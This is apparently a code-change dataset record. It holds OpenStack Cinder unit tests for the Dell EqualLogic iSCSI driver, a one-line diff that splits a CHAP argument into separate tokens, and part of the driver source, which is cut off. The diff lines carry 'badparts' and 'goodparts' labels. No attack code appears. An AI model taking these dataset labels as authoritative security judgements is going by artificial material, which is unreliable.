test_create_volume(self): self.driver._eql_execute=self.mox.\\ CreateMock(self.driver._eql_execute) volume={'name': self.volume_name, 'size': 1} self.driver._eql_execute('volume', 'create', volume['name'], \"%sG\" %(volume['size']), 'pool', self.configuration.eqlx_pool, 'thin-provision').\\ AndReturn(['iSCSI target name is %s.' % self.fake_iqn]) self.mox.ReplayAll() model_update=self.driver.create_volume(volume) self.assertEqual(model_update, self._model_update) def test_delete_volume(self): self.driver._eql_execute=self.mox.\\ CreateMock(self.driver._eql_execute) volume={'name': self.volume_name, 'size': 1} self.driver._eql_execute('volume', 'select', volume['name'], 'show') self.driver._eql_execute('volume', 'select', volume['name'], 'offline') self.driver._eql_execute('volume', 'delete', volume['name']) self.mox.ReplayAll() self.driver.delete_volume(volume) def test_delete_absent_volume(self): self.driver._eql_execute=self.mox.\\ CreateMock(self.driver._eql_execute) volume={'name': self.volume_name, 'size': 1, 'id': self.volid} self.driver._eql_execute('volume', 'select', volume['name'], 'show').\\ AndRaise(processutils.ProcessExecutionError( stdout='% Error..... does not exist.\\n')) self.mox.ReplayAll() self.driver.delete_volume(volume) def test_ensure_export(self): self.driver._eql_execute=self.mox.\\ CreateMock(self.driver._eql_execute) volume={'name': self.volume_name, 'size': 1} self.driver._eql_execute('volume', 'select', volume['name'], 'show') self.mox.ReplayAll() self.driver.ensure_export({}, volume) def test_create_snapshot(self): self.driver._eql_execute=self.mox.\\ CreateMock(self.driver._eql_execute) snapshot={'name': 'fakesnap', 'volume_name': 'fakevolume_name'} snap_name='fake_snap_name' self.driver._eql_execute('volume', 'select', snapshot['volume_name'], 'snapshot', 'create-now').\\ AndReturn(['Snapshot name is %s' % snap_name]) self.driver._eql_execute('volume', 'select', snapshot['volume_name'], 'snapshot', 'rename', snap_name, snapshot['name']) self.mox.ReplayAll() self.driver.create_snapshot(snapshot) def test_create_volume_from_snapshot(self): self.driver._eql_execute=self.mox.\\ CreateMock(self.driver._eql_execute) snapshot={'name': 'fakesnap', 'volume_name': 'fakevolume_name'} volume={'name': self.volume_name} self.driver._eql_execute('volume', 'select', snapshot['volume_name'], 'snapshot', 'select', snapshot['name'], 'clone', volume['name']).\\ AndReturn(['iSCSI target name is %s.' % self.fake_iqn]) self.mox.ReplayAll() model_update=self.driver.create_volume_from_snapshot(volume, snapshot) self.assertEqual(model_update, self._model_update) def test_create_cloned_volume(self): self.driver._eql_execute=self.mox.\\ CreateMock(self.driver._eql_execute) src_vref={'id': 'fake_uuid'} volume={'name': self.volume_name} src_volume_name=self.configuration.\\ volume_name_template % src_vref['id'] self.driver._eql_execute('volume', 'select', src_volume_name, 'clone', volume['name']).\\ AndReturn(['iSCSI target name is %s.' % self.fake_iqn]) self.mox.ReplayAll() model_update=self.driver.create_cloned_volume(volume, src_vref) self.assertEqual(model_update, self._model_update) def test_delete_snapshot(self): self.driver._eql_execute=self.mox.\\ CreateMock(self.driver._eql_execute) snapshot={'name': 'fakesnap', 'volume_name': 'fakevolume_name'} self.driver._eql_execute('volume', 'select', snapshot['volume_name'], 'snapshot', 'delete', snapshot['name']) self.mox.ReplayAll() self.driver.delete_snapshot(snapshot) def test_extend_volume(self): new_size='200' self.driver._eql_execute=self.mox.\\ CreateMock(self.driver._eql_execute) volume={'name': self.volume_name, 'size': 100} self.driver._eql_execute('volume', 'select', volume['name'], 'size', \"%sG\" % new_size) self.mox.ReplayAll() self.driver.extend_volume(volume, new_size) def test_initialize_connection(self): self.driver._eql_execute=self.mox.\\ CreateMock(self.driver._eql_execute) volume={'name': self.volume_name} self.stubs.Set(self.driver, \"_get_iscsi_properties\", self._fake_get_iscsi_properties) self.driver._eql_execute('volume', 'select', volume['name'], 'access', 'create', 'initiator', self.connector['initiator'], 'authmethod chap', 'username', self.configuration.eqlx_chap_login) self.mox.ReplayAll() iscsi_properties=self.driver.initialize_connection(volume, self.connector) self.assertEqual(iscsi_properties['data'], self._fake_get_iscsi_properties(volume)) def test_terminate_connection(self): self.driver._eql_execute=self.mox.\\ CreateMock(self.driver._eql_execute) volume={'name': self.volume_name} self.driver._eql_execute('volume', 'select', volume['name'], 'access', 'delete', '1') self.mox.ReplayAll() self.driver.terminate_connection(volume, self.connector) def test_do_setup(self): self.driver._eql_execute=self.mox.\\ CreateMock(self.driver._eql_execute) fake_group_ip='10.1.2.3' for feature in('confirmation', 'paging', 'events', 'formatoutput'): self.driver._eql_execute('cli-settings', feature, 'off') self.driver._eql_execute('grpparams', 'show').\\ AndReturn(['Group-Ipaddress: %s' % fake_group_ip]) self.mox.ReplayAll() self.driver.do_setup(self._context) self.assertEqual(fake_group_ip, self.driver._group_ip) def test_update_volume_stats(self): self.driver._eql_execute=self.mox.\\ CreateMock(self.driver._eql_execute) self.driver._eql_execute('pool', 'select', self.configuration.eqlx_pool, 'show').\\ AndReturn(['TotalCapacity: 111GB', 'FreeSpace: 11GB']) self.mox.ReplayAll() self.driver._update_volume_stats() self.assertEqual(self.driver._stats['total_capacity_gb'], 111.0) self.assertEqual(self.driver._stats['free_capacity_gb'], 11.0) def test_get_volume_stats(self): self.driver._eql_execute=self.mox.\\ CreateMock(self.driver._eql_execute) self.driver._eql_execute('pool', 'select', self.configuration.eqlx_pool, 'show').\\ AndReturn(['TotalCapacity: 111GB', 'FreeSpace: 11GB']) self.mox.ReplayAll() stats=self.driver.get_volume_stats(refresh=True) self.assertEqual(stats['total_capacity_gb'], float('111.0')) self.assertEqual(stats['free_capacity_gb'], float('11.0')) self.assertEqual(stats['vendor_name'], 'Dell') def test_get_space_in_gb(self): self.assertEqual(self.driver._get_space_in_gb('123.0GB'), 123.0) self.assertEqual(self.driver._get_space_in_gb('123.0TB'), 123.0 * 1024) self.assertEqual(self.driver._get_space_in_gb('1024.0MB'), 1.0) def test_get_output(self): def _fake_recv(ignore_arg): return '%s> ' % self.configuration.eqlx_group_name chan=self.mox.CreateMock(paramiko.Channel) self.stubs.Set(chan, \"recv\", _fake_recv) self.assertEqual(self.driver._get_output(chan),[_fake_recv(None)]) def test_get_prefixed_value(self): lines=['Line1 passed', 'Line1 failed'] prefix=['Line1', 'Line2'] expected_output=[' passed', None] self.assertEqual(self.driver._get_prefixed_value(lines, prefix[0]), expected_output[0]) self.assertEqual(self.driver._get_prefixed_value(lines, prefix[1]), expected_output[1]) def test_ssh_execute(self): ssh=self.mox.CreateMock(paramiko.SSHClient) chan=self.mox.CreateMock(paramiko.Channel) transport=self.mox.CreateMock(paramiko.Transport) self.mox.StubOutWithMock(self.driver, '_get_output') self.mox.StubOutWithMock(chan, 'invoke_shell') expected_output=['NoError: test run'] ssh.get_transport().AndReturn(transport) transport.open_session().AndReturn(chan) chan.invoke_shell() self.driver._get_output(chan).AndReturn(expected_output) cmd='this is dummy command' chan.send('stty columns 255' +'\\r') self.driver._get_output(chan).AndReturn(expected_output) chan.send(cmd +'\\r') self.driver._get_output(chan).AndReturn(expected_output) chan.close() self.mox.ReplayAll() self.assertEqual(self.driver._ssh_execute(ssh, cmd), expected_output) def test_ssh_execute_error(self): ssh=self.mox.CreateMock(paramiko.SSHClient) chan=self.mox.CreateMock(paramiko.Channel) transport=self.mox.CreateMock(paramiko.Transport) self.mox.StubOutWithMock(self.driver, '_get_output') self.mox.StubOutWithMock(ssh, 'get_transport') self.mox.StubOutWithMock(chan, 'invoke_shell') expected_output=['Error: test run', '% Error'] ssh.get_transport().AndReturn(transport) transport.open_session().AndReturn(chan) chan.invoke_shell() self.driver._get_output(chan).AndReturn(expected_output) cmd='this is dummy command' chan.send('stty columns 255' +'\\r') self.driver._get_output(chan).AndReturn(expected_output) chan.send(cmd +'\\r') self.driver._get_output(chan).AndReturn(expected_output) chan.close() self.mox.ReplayAll() self.assertRaises(processutils.ProcessExecutionError, self.driver._ssh_execute, ssh, cmd) def test_with_timeout(self): @eqlx.with_timeout def no_timeout(cmd, *args, **kwargs): return 'no timeout' @eqlx.with_timeout def w_timeout(cmd, *args, **kwargs): time.sleep(1) self.assertEqual(no_timeout('fake cmd'), 'no timeout') self.assertRaises(exception.VolumeBackendAPIException, w_timeout, 'fake cmd', timeout=0.1) def test_local_path(self): self.assertRaises(NotImplementedError, self.driver.local_path, '') ", "sourceWithComments": "# Copyright (c) 2013 Dell Inc.\n# Copyright 2013 OpenStack LLC\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n# not use this file except in compliance with the License. You may obtain\n# a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations\n# under the License.\n\nimport time\n\nimport mox\nimport paramiko\n\nfrom cinder import context\nfrom cinder import exception\nfrom cinder.openstack.common import log as logging\nfrom cinder.openstack.common import processutils\nfrom cinder import test\nfrom cinder.volume import configuration as conf\nfrom cinder.volume.drivers import eqlx\n\n\nLOG = logging.getLogger(__name__)\n\n\nclass DellEQLSanISCSIDriverTestCase(test.TestCase):\n\n def setUp(self):\n super(DellEQLSanISCSIDriverTestCase, self).setUp()\n self.configuration = mox.MockObject(conf.Configuration)\n self.configuration.append_config_values(mox.IgnoreArg())\n self.configuration.san_is_local = False\n self.configuration.san_ip = \"10.0.0.1\"\n self.configuration.san_login = \"foo\"\n self.configuration.san_password = \"bar\"\n self.configuration.san_ssh_port = 16022\n self.configuration.san_thin_provision = True\n self.configuration.eqlx_pool = 'non-default'\n self.configuration.eqlx_use_chap = True\n self.configuration.eqlx_group_name = 'group-0'\n self.configuration.eqlx_cli_timeout = 30\n self.configuration.eqlx_cli_max_retries = 5\n self.configuration.eqlx_chap_login = 'admin'\n self.configuration.eqlx_chap_password = 'password'\n self.configuration.volume_name_template = 'volume_%s'\n self._context = context.get_admin_context()\n self.driver = eqlx.DellEQLSanISCSIDriver(\n configuration=self.configuration)\n self.volume_name = \"fakevolume\"\n self.volid = \"fakeid\"\n self.connector = {'ip': '10.0.0.2',\n 'initiator': 'iqn.1993-08.org.debian:01:222',\n 'host': 'fakehost'}\n self.fake_iqn = 'iqn.2003-10.com.equallogic:group01:25366:fakev'\n self.driver._group_ip = '10.0.1.6'\n self.properties = {\n 'target_discoverd': True,\n 'target_portal': '%s:3260' % self.driver._group_ip,\n 'target_iqn': self.fake_iqn,\n 'volume_id': 1}\n self._model_update = {\n 'provider_location': \"%s:3260,1 %s 0\" % (self.driver._group_ip,\n self.fake_iqn),\n 'provider_auth': 'CHAP %s %s' % (\n self.configuration.eqlx_chap_login,\n self.configuration.eqlx_chap_password)\n }\n\n def _fake_get_iscsi_properties(self, volume):\n return self.properties\n\n def test_create_volume(self):\n self.driver._eql_execute = self.mox.\\\n CreateMock(self.driver._eql_execute)\n volume = {'name': self.volume_name, 'size': 1}\n self.driver._eql_execute('volume', 'create', volume['name'],\n \"%sG\" % (volume['size']), 'pool',\n self.configuration.eqlx_pool,\n 'thin-provision').\\\n AndReturn(['iSCSI target name is %s.' % self.fake_iqn])\n self.mox.ReplayAll()\n model_update = self.driver.create_volume(volume)\n self.assertEqual(model_update, self._model_update)\n\n def test_delete_volume(self):\n self.driver._eql_execute = self.mox.\\\n CreateMock(self.driver._eql_execute)\n volume = {'name': self.volume_name, 'size': 1}\n self.driver._eql_execute('volume', 'select', volume['name'], 'show')\n self.driver._eql_execute('volume', 'select', volume['name'], 'offline')\n self.driver._eql_execute('volume', 'delete', volume['name'])\n self.mox.ReplayAll()\n self.driver.delete_volume(volume)\n\n def test_delete_absent_volume(self):\n self.driver._eql_execute = self.mox.\\\n CreateMock(self.driver._eql_execute)\n volume = {'name': self.volume_name, 'size': 1, 'id': self.volid}\n self.driver._eql_execute('volume', 'select', volume['name'], 'show').\\\n AndRaise(processutils.ProcessExecutionError(\n stdout='% Error ..... does not exist.\\n'))\n self.mox.ReplayAll()\n self.driver.delete_volume(volume)\n\n def test_ensure_export(self):\n self.driver._eql_execute = self.mox.\\\n CreateMock(self.driver._eql_execute)\n volume = {'name': self.volume_name, 'size': 1}\n self.driver._eql_execute('volume', 'select', volume['name'], 'show')\n self.mox.ReplayAll()\n self.driver.ensure_export({}, volume)\n\n def test_create_snapshot(self):\n self.driver._eql_execute = self.mox.\\\n CreateMock(self.driver._eql_execute)\n snapshot = {'name': 'fakesnap', 'volume_name': 'fakevolume_name'}\n snap_name = 'fake_snap_name'\n self.driver._eql_execute('volume', 'select', snapshot['volume_name'],\n 'snapshot', 'create-now').\\\n AndReturn(['Snapshot name is %s' % snap_name])\n self.driver._eql_execute('volume', 'select', snapshot['volume_name'],\n 'snapshot', 'rename', snap_name,\n snapshot['name'])\n self.mox.ReplayAll()\n self.driver.create_snapshot(snapshot)\n\n def test_create_volume_from_snapshot(self):\n self.driver._eql_execute = self.mox.\\\n CreateMock(self.driver._eql_execute)\n snapshot = {'name': 'fakesnap', 'volume_name': 'fakevolume_name'}\n volume = {'name': self.volume_name}\n self.driver._eql_execute('volume', 'select', snapshot['volume_name'],\n 'snapshot', 'select', snapshot['name'],\n 'clone', volume['name']).\\\n AndReturn(['iSCSI target name is %s.' % self.fake_iqn])\n self.mox.ReplayAll()\n model_update = self.driver.create_volume_from_snapshot(volume,\n snapshot)\n self.assertEqual(model_update, self._model_update)\n\n def test_create_cloned_volume(self):\n self.driver._eql_execute = self.mox.\\\n CreateMock(self.driver._eql_execute)\n src_vref = {'id': 'fake_uuid'}\n volume = {'name': self.volume_name}\n src_volume_name = self.configuration.\\\n volume_name_template % src_vref['id']\n self.driver._eql_execute('volume', 'select', src_volume_name, 'clone',\n volume['name']).\\\n AndReturn(['iSCSI target name is %s.' % self.fake_iqn])\n self.mox.ReplayAll()\n model_update = self.driver.create_cloned_volume(volume, src_vref)\n self.assertEqual(model_update, self._model_update)\n\n def test_delete_snapshot(self):\n self.driver._eql_execute = self.mox.\\\n CreateMock(self.driver._eql_execute)\n snapshot = {'name': 'fakesnap', 'volume_name': 'fakevolume_name'}\n self.driver._eql_execute('volume', 'select', snapshot['volume_name'],\n 'snapshot', 'delete', snapshot['name'])\n self.mox.ReplayAll()\n self.driver.delete_snapshot(snapshot)\n\n def test_extend_volume(self):\n new_size = '200'\n self.driver._eql_execute = self.mox.\\\n CreateMock(self.driver._eql_execute)\n volume = {'name': self.volume_name, 'size': 100}\n self.driver._eql_execute('volume', 'select', volume['name'],\n 'size', \"%sG\" % new_size)\n self.mox.ReplayAll()\n self.driver.extend_volume(volume, new_size)\n\n def test_initialize_connection(self):\n self.driver._eql_execute = self.mox.\\\n CreateMock(self.driver._eql_execute)\n volume = {'name': self.volume_name}\n self.stubs.Set(self.driver, \"_get_iscsi_properties\",\n self._fake_get_iscsi_properties)\n self.driver._eql_execute('volume', 'select', volume['name'], 'access',\n 'create', 'initiator',\n self.connector['initiator'],\n 'authmethod chap',\n 'username',\n self.configuration.eqlx_chap_login)\n self.mox.ReplayAll()\n iscsi_properties = self.driver.initialize_connection(volume,\n self.connector)\n self.assertEqual(iscsi_properties['data'],\n self._fake_get_iscsi_properties(volume))\n\n def test_terminate_connection(self):\n self.driver._eql_execute = self.mox.\\\n CreateMock(self.driver._eql_execute)\n volume = {'name': self.volume_name}\n self.driver._eql_execute('volume', 'select', volume['name'], 'access',\n 'delete', '1')\n self.mox.ReplayAll()\n self.driver.terminate_connection(volume, self.connector)\n\n def test_do_setup(self):\n self.driver._eql_execute = self.mox.\\\n CreateMock(self.driver._eql_execute)\n fake_group_ip = '10.1.2.3'\n for feature in ('confirmation', 'paging', 'events', 'formatoutput'):\n self.driver._eql_execute('cli-settings', feature, 'off')\n self.driver._eql_execute('grpparams', 'show').\\\n AndReturn(['Group-Ipaddress: %s' % fake_group_ip])\n self.mox.ReplayAll()\n self.driver.do_setup(self._context)\n self.assertEqual(fake_group_ip, self.driver._group_ip)\n\n def test_update_volume_stats(self):\n self.driver._eql_execute = self.mox.\\\n CreateMock(self.driver._eql_execute)\n self.driver._eql_execute('pool', 'select',\n self.configuration.eqlx_pool, 'show').\\\n AndReturn(['TotalCapacity: 111GB', 'FreeSpace: 11GB'])\n self.mox.ReplayAll()\n self.driver._update_volume_stats()\n self.assertEqual(self.driver._stats['total_capacity_gb'], 111.0)\n self.assertEqual(self.driver._stats['free_capacity_gb'], 11.0)\n\n def test_get_volume_stats(self):\n self.driver._eql_execute = self.mox.\\\n CreateMock(self.driver._eql_execute)\n self.driver._eql_execute('pool', 'select',\n self.configuration.eqlx_pool, 'show').\\\n AndReturn(['TotalCapacity: 111GB', 'FreeSpace: 11GB'])\n self.mox.ReplayAll()\n stats = self.driver.get_volume_stats(refresh=True)\n self.assertEqual(stats['total_capacity_gb'], float('111.0'))\n self.assertEqual(stats['free_capacity_gb'], float('11.0'))\n self.assertEqual(stats['vendor_name'], 'Dell')\n\n def test_get_space_in_gb(self):\n self.assertEqual(self.driver._get_space_in_gb('123.0GB'), 123.0)\n self.assertEqual(self.driver._get_space_in_gb('123.0TB'), 123.0 * 1024)\n self.assertEqual(self.driver._get_space_in_gb('1024.0MB'), 1.0)\n\n def test_get_output(self):\n\n def _fake_recv(ignore_arg):\n return '%s> ' % self.configuration.eqlx_group_name\n\n chan = self.mox.CreateMock(paramiko.Channel)\n self.stubs.Set(chan, \"recv\", _fake_recv)\n self.assertEqual(self.driver._get_output(chan), [_fake_recv(None)])\n\n def test_get_prefixed_value(self):\n lines = ['Line1 passed', 'Line1 failed']\n prefix = ['Line1', 'Line2']\n expected_output = [' passed', None]\n self.assertEqual(self.driver._get_prefixed_value(lines, prefix[0]),\n expected_output[0])\n self.assertEqual(self.driver._get_prefixed_value(lines, prefix[1]),\n expected_output[1])\n\n def test_ssh_execute(self):\n ssh = self.mox.CreateMock(paramiko.SSHClient)\n chan = self.mox.CreateMock(paramiko.Channel)\n transport = self.mox.CreateMock(paramiko.Transport)\n self.mox.StubOutWithMock(self.driver, '_get_output')\n self.mox.StubOutWithMock(chan, 'invoke_shell')\n expected_output = ['NoError: test run']\n ssh.get_transport().AndReturn(transport)\n transport.open_session().AndReturn(chan)\n chan.invoke_shell()\n self.driver._get_output(chan).AndReturn(expected_output)\n cmd = 'this is dummy command'\n chan.send('stty columns 255' + '\\r')\n self.driver._get_output(chan).AndReturn(expected_output)\n chan.send(cmd + '\\r')\n self.driver._get_output(chan).AndReturn(expected_output)\n chan.close()\n self.mox.ReplayAll()\n self.assertEqual(self.driver._ssh_execute(ssh, cmd), expected_output)\n\n def test_ssh_execute_error(self):\n ssh = self.mox.CreateMock(paramiko.SSHClient)\n chan = self.mox.CreateMock(paramiko.Channel)\n transport = self.mox.CreateMock(paramiko.Transport)\n self.mox.StubOutWithMock(self.driver, '_get_output')\n self.mox.StubOutWithMock(ssh, 'get_transport')\n self.mox.StubOutWithMock(chan, 'invoke_shell')\n expected_output = ['Error: test run', '% Error']\n ssh.get_transport().AndReturn(transport)\n transport.open_session().AndReturn(chan)\n chan.invoke_shell()\n self.driver._get_output(chan).AndReturn(expected_output)\n cmd = 'this is dummy command'\n chan.send('stty columns 255' + '\\r')\n self.driver._get_output(chan).AndReturn(expected_output)\n chan.send(cmd + '\\r')\n self.driver._get_output(chan).AndReturn(expected_output)\n chan.close()\n self.mox.ReplayAll()\n self.assertRaises(processutils.ProcessExecutionError,\n self.driver._ssh_execute, ssh, cmd)\n\n def test_with_timeout(self):\n @eqlx.with_timeout\n def no_timeout(cmd, *args, **kwargs):\n return 'no timeout'\n\n @eqlx.with_timeout\n def w_timeout(cmd, *args, **kwargs):\n time.sleep(1)\n\n self.assertEqual(no_timeout('fake cmd'), 'no timeout')\n self.assertRaises(exception.VolumeBackendAPIException,\n w_timeout, 'fake cmd', timeout=0.1)\n\n def test_local_path(self):\n self.assertRaises(NotImplementedError, self.driver.local_path, '')\n"}, "/cinder/volume/drivers/eqlx.py": {"changes": [{"diff": "\n cmd = ['volume', 'select', volume['name'], 'access', 'create',\n 'initiator', connector['initiator']]\n if self.configuration.eqlx_use_chap:\n- cmd.extend(['authmethod chap', 'username',\n+ cmd.extend(['authmethod', 'chap', 'username',\n self.configuration.eqlx_chap_login])\n self._eql_execute(*cmd)\n iscsi_properties = self._get_iscsi_properties(volume)\n", "add": 1, "remove": 1, "filename": "/cinder/volume/drivers/eqlx.py", "badparts": [" cmd.extend(['authmethod chap', 'username',"], "goodparts": [" cmd.extend(['authmethod', 'chap', 'username',"]}], "source": "\n \"\"\"Volume driver for Dell EqualLogic Storage.\"\"\" import functools import random import eventlet from eventlet import greenthread import greenlet from oslo.config import cfg from cinder import exception from cinder.openstack.common import excutils from cinder.openstack.common import log as logging from cinder.openstack.common import processutils from cinder import utils from cinder.volume.drivers.san import SanISCSIDriver LOG=logging.getLogger(__name__) eqlx_opts=[ cfg.StrOpt('eqlx_group_name', default='group-0', help='Group name to use for creating volumes'), cfg.IntOpt('eqlx_cli_timeout', default=30, help='Timeout for the Group Manager cli command execution'), cfg.IntOpt('eqlx_cli_max_retries', default=5, help='Maximum retry count for reconnection'), cfg.BoolOpt('eqlx_use_chap', default=False, help='Use CHAP authentication for targets?'), cfg.StrOpt('eqlx_chap_login', default='admin', help='Existing CHAP account name'), cfg.StrOpt('eqlx_chap_password', default='password', help='Password for specified CHAP account name', secret=True), cfg.StrOpt('eqlx_pool', default='default', help='Pool in which volumes will be created') ] CONF=cfg.CONF CONF.register_opts(eqlx_opts) def with_timeout(f): @functools.wraps(f) def __inner(self, *args, **kwargs): timeout=kwargs.pop('timeout', None) gt=eventlet.spawn(f, self, *args, **kwargs) if timeout is None: return gt.wait() else: kill_thread=eventlet.spawn_after(timeout, gt.kill) try: res=gt.wait() except greenlet.GreenletExit: raise exception.VolumeBackendAPIException( data=\"Command timed out\") else: kill_thread.cancel() return res return __inner class DellEQLSanISCSIDriver(SanISCSIDriver): \"\"\"Implements commands for Dell EqualLogic SAN ISCSI management. To enable the driver add the following line to the cinder configuration: volume_driver=cinder.volume.drivers.eqlx.DellEQLSanISCSIDriver Driver's prerequisites are: -a separate volume group set up and running on the SAN -SSH access to the SAN -a special user must be created which must be able to -create/delete volumes and snapshots; -clone snapshots into volumes; -modify volume access records; The access credentials to the SAN are provided by means of the following flags san_ip= san_login= san_password= san_private_key= Thin provision of volumes is enabled by default, to disable it use: san_thin_provision=false In order to use target CHAP authentication(which is disabled by default) SAN administrator must create a local CHAP user and specify the following flags for the driver: eqlx_use_chap=true eqlx_chap_login= eqlx_chap_password= eqlx_group_name parameter actually represents the CLI prompt message without '>' ending. E.g. if prompt looks like 'group-0>', then the parameter must be set to 'group-0' Also, the default CLI command execution timeout is 30 secs. Adjustable by eqlx_cli_timeout= \"\"\" VERSION=\"1.0.0\" def __init__(self, *args, **kwargs): super(DellEQLSanISCSIDriver, self).__init__(*args, **kwargs) self.configuration.append_config_values(eqlx_opts) self._group_ip=None self.sshpool=None def _get_output(self, chan): out='' ending='%s> ' % self.configuration.eqlx_group_name while not out.endswith(ending): out +=chan.recv(102400) LOG.debug(_(\"CLI output\\n%s\"), out) return out.splitlines() def _get_prefixed_value(self, lines, prefix): for line in lines: if line.startswith(prefix): return line[len(prefix):] return @with_timeout def _ssh_execute(self, ssh, command, *arg, **kwargs): transport=ssh.get_transport() chan=transport.open_session() chan.invoke_shell() LOG.debug(_(\"Reading CLI MOTD\")) self._get_output(chan) cmd='stty columns 255' LOG.debug(_(\"Setting CLI terminal width: '%s'\"), cmd) chan.send(cmd +'\\r') out=self._get_output(chan) LOG.debug(_(\"Sending CLI command: '%s'\"), command) chan.send(command +'\\r') out=self._get_output(chan) chan.close() if any(line.startswith(('% Error', 'Error:')) for line in out): desc=_(\"Error executing EQL command\") cmdout='\\n'.join(out) LOG.error(cmdout) raise processutils.ProcessExecutionError( stdout=cmdout, cmd=command, description=desc) return out def _run_ssh(self, cmd_list, attempts=1): utils.check_ssh_injection(cmd_list) command=' '. join(cmd_list) if not self.sshpool: password=self.configuration.san_password privatekey=self.configuration.san_private_key min_size=self.configuration.ssh_min_pool_conn max_size=self.configuration.ssh_max_pool_conn self.sshpool=utils.SSHPool(self.configuration.san_ip, self.configuration.san_ssh_port, self.configuration.ssh_conn_timeout, self.configuration.san_login, password=password, privatekey=privatekey, min_size=min_size, max_size=max_size) try: total_attempts=attempts with self.sshpool.item() as ssh: while attempts > 0: attempts -=1 try: LOG.info(_('EQL-driver: executing \"%s\"') % command) return self._ssh_execute( ssh, command, timeout=self.configuration.eqlx_cli_timeout) except processutils.ProcessExecutionError: raise except Exception as e: LOG.exception(e) greenthread.sleep(random.randint(20, 500) / 100.0) msg=(_(\"SSH Command failed after '%(total_attempts)r' \" \"attempts: '%(command)s'\") % {'total_attempts': total_attempts, 'command': command}) raise exception.VolumeBackendAPIException(data=msg) except Exception: with excutils.save_and_reraise_exception(): LOG.error(_(\"Error running SSH command: %s\") % command) def _eql_execute(self, *args, **kwargs): return self._run_ssh( args, attempts=self.configuration.eqlx_cli_max_retries) def _get_volume_data(self, lines): prefix='iSCSI target name is ' target_name=self._get_prefixed_value(lines, prefix)[:-1] lun_id=\"%s:%s,1 %s 0\" %(self._group_ip, '3260', target_name) model_update={} model_update['provider_location']=lun_id if self.configuration.eqlx_use_chap: model_update['provider_auth']='CHAP %s %s' % \\ (self.configuration.eqlx_chap_login, self.configuration.eqlx_chap_password) return model_update def _get_space_in_gb(self, val): scale=1.0 part='GB' if val.endswith('MB'): scale=1.0 / 1024 part='MB' elif val.endswith('TB'): scale=1.0 * 1024 part='TB' return scale * float(val.partition(part)[0]) def _update_volume_stats(self): \"\"\"Retrieve stats info from eqlx group.\"\"\" LOG.debug(_(\"Updating volume stats\")) data={} backend_name=\"eqlx\" if self.configuration: backend_name=self.configuration.safe_get('volume_backend_name') data[\"volume_backend_name\"]=backend_name or 'eqlx' data[\"vendor_name\"]='Dell' data[\"driver_version\"]=self.VERSION data[\"storage_protocol\"]='iSCSI' data['reserved_percentage']=0 data['QoS_support']=False data['total_capacity_gb']='infinite' data['free_capacity_gb']='infinite' for line in self._eql_execute('pool', 'select', self.configuration.eqlx_pool, 'show'): if line.startswith('TotalCapacity:'): out_tup=line.rstrip().partition(' ') data['total_capacity_gb']=self._get_space_in_gb(out_tup[-1]) if line.startswith('FreeSpace:'): out_tup=line.rstrip().partition(' ') data['free_capacity_gb']=self._get_space_in_gb(out_tup[-1]) self._stats=data def _check_volume(self, volume): \"\"\"Check if the volume exists on the Array.\"\"\" command=['volume', 'select', volume['name'], 'show'] try: self._eql_execute(*command) except processutils.ProcessExecutionError as err: with excutils.save_and_reraise_exception(): if err.stdout.find('does not exist.\\n') > -1: LOG.debug(_('Volume %s does not exist, ' 'it may have already been deleted'), volume['name']) raise exception.VolumeNotFound(volume_id=volume['id']) def do_setup(self, context): \"\"\"Disable cli confirmation and tune output format.\"\"\" try: disabled_cli_features=('confirmation', 'paging', 'events', 'formatoutput') for feature in disabled_cli_features: self._eql_execute('cli-settings', feature, 'off') for line in self._eql_execute('grpparams', 'show'): if line.startswith('Group-Ipaddress:'): out_tup=line.rstrip().partition(' ') self._group_ip=out_tup[-1] LOG.info(_(\"EQL-driver: Setup is complete, group IP is %s\"), self._group_ip) except Exception: with excutils.save_and_reraise_exception(): LOG.error(_('Failed to setup the Dell EqualLogic driver')) def create_volume(self, volume): \"\"\"Create a volume.\"\"\" try: cmd=['volume', 'create', volume['name'], \"%sG\" %(volume['size'])] if self.configuration.eqlx_pool !='default': cmd.append('pool') cmd.append(self.configuration.eqlx_pool) if self.configuration.san_thin_provision: cmd.append('thin-provision') out=self._eql_execute(*cmd) return self._get_volume_data(out) except Exception: with excutils.save_and_reraise_exception(): LOG.error(_('Failed to create volume %s'), volume['name']) def delete_volume(self, volume): \"\"\"Delete a volume.\"\"\" try: self._check_volume(volume) self._eql_execute('volume', 'select', volume['name'], 'offline') self._eql_execute('volume', 'delete', volume['name']) except exception.VolumeNotFound: LOG.warn(_('Volume %s was not found while trying to delete it'), volume['name']) except Exception: with excutils.save_and_reraise_exception(): LOG.error(_('Failed to delete volume %s'), volume['name']) def create_snapshot(self, snapshot): \"\"\"\"Create snapshot of existing volume on appliance.\"\"\" try: out=self._eql_execute('volume', 'select', snapshot['volume_name'], 'snapshot', 'create-now') prefix='Snapshot name is ' snap_name=self._get_prefixed_value(out, prefix) self._eql_execute('volume', 'select', snapshot['volume_name'], 'snapshot', 'rename', snap_name, snapshot['name']) except Exception: with excutils.save_and_reraise_exception(): LOG.error(_('Failed to create snapshot of volume %s'), snapshot['volume_name']) def create_volume_from_snapshot(self, volume, snapshot): \"\"\"Create new volume from other volume's snapshot on appliance.\"\"\" try: out=self._eql_execute('volume', 'select', snapshot['volume_name'], 'snapshot', 'select', snapshot['name'], 'clone', volume['name']) return self._get_volume_data(out) except Exception: with excutils.save_and_reraise_exception(): LOG.error(_('Failed to create volume from snapshot %s'), snapshot['name']) def create_cloned_volume(self, volume, src_vref): \"\"\"Creates a clone of the specified volume.\"\"\" try: src_volume_name=self.configuration.\\ volume_name_template % src_vref['id'] out=self._eql_execute('volume', 'select', src_volume_name, 'clone', volume['name']) return self._get_volume_data(out) except Exception: with excutils.save_and_reraise_exception(): LOG.error(_('Failed to create clone of volume %s'), volume['name']) def delete_snapshot(self, snapshot): \"\"\"Delete volume's snapshot.\"\"\" try: self._eql_execute('volume', 'select', snapshot['volume_name'], 'snapshot', 'delete', snapshot['name']) except Exception: with excutils.save_and_reraise_exception(): LOG.error(_('Failed to delete snapshot %(snap)s of ' 'volume %(vol)s'), {'snap': snapshot['name'], 'vol': snapshot['volume_name']}) def initialize_connection(self, volume, connector): \"\"\"Restrict access to a volume.\"\"\" try: cmd=['volume', 'select', volume['name'], 'access', 'create', 'initiator', connector['initiator']] if 